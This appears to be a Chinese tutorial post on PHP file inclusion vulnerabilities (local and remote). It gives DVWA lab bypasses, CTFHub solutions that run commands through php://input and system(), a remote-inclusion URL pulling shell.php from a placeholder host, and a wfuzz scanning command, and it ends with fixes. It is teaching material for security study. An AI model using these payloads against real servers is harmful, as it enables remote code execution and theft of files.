6-文件包含漏洞
1、什么是文件包含漏洞
一个代码文件,需要去包含其他的代码文件,而导致的漏洞
原因:内容包含、函数包含
分类:本地、远程
1.1 本地文件包含/目录遍历漏洞/任意文件访问漏洞(LFI)
固定文件名:<?php include 'footer.php';?>
接口动态包含:include.php可以通过参数file,包含指定的文件
用法:?file=访问敏感文件、连接webshell
1.2 远程文件包含漏洞RFI
与XXE和SSRF的区别
配置:
php.ini
allow_url_fopen=On
allow_url_include=On
用法:/include.php?file=http://xxx.xxx.xx.xx/shell.php
1.3 典型案例
CVE-2018-12613 Phpmyadmin后台 任意文件包含漏洞
CVE-2020-1938 Apache Tomcat 文件包含漏洞
2、PHP相关函数和伪协议
2.1 相关函数
读取文件、打开文件 或 访问文件
2.2 伪协议
是在Php里面,用来访问其他文件格式的一种协议
3、DVWA靶场案例演示
File Inclusion
3.1 安全级别low
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../phpinfo.php
也可以远程包含shell文件,但是需要coookie
3.2 安全级别medium
将"http://"、"https://"、"../"、"..\"替换为空
绕过:双写
fi/?page=hthttp://tp://xxx.xxx.xxx.xx/alert.html
fi/?page=..././1.txt
3.3 安全级别high
进行了一个匹配,文件名必须以file或include开头才允许访问
绕过:伪协议
fi/?page=file:///C:\Windows\system.ini
3.4 impossible
白名单,限定死能访问的文件
4、CTF题目案例(CTFHub)
4.1 文件包含
/?file=shell.txt
POST:ctfhub=system("find / -name flag");
4.2 php://input(伪协议)
输入/?file=php://input
BP抓包,右键发送至repeater
将请求改成POST,不然执行不了命令
由于php://input伪协议存在,所以在最后一行添加参数 <?php system('ls /');?>
4.3 远程包含
与上一关卡一致
5、文件包含漏洞挖掘与利用
5.1 URL关键字
URL参数名字出现page、file、filename、include等等关键字。
URL参数值出现了文件名,比如xxx.pgp xxx.html 等等。
比如:
?file=content
?page=wuya.asp
?home=wuya.html
5.2 函数or伪协议
5.3 工具
不具备扫描,但是可以利用:https://github.com/D35m0nd142/LFISuite
wfuzz结合已有的漏洞,进行目录扫描
Kali:wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://xxx.xxx.xx.xx/include.php?file=FUZZ
6、文件包含漏洞修复方案
1、php配置
2、禁用动态包含(把要包含的文件名写死)
3、过滤协议、目录字符
4、设置文件白名单
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix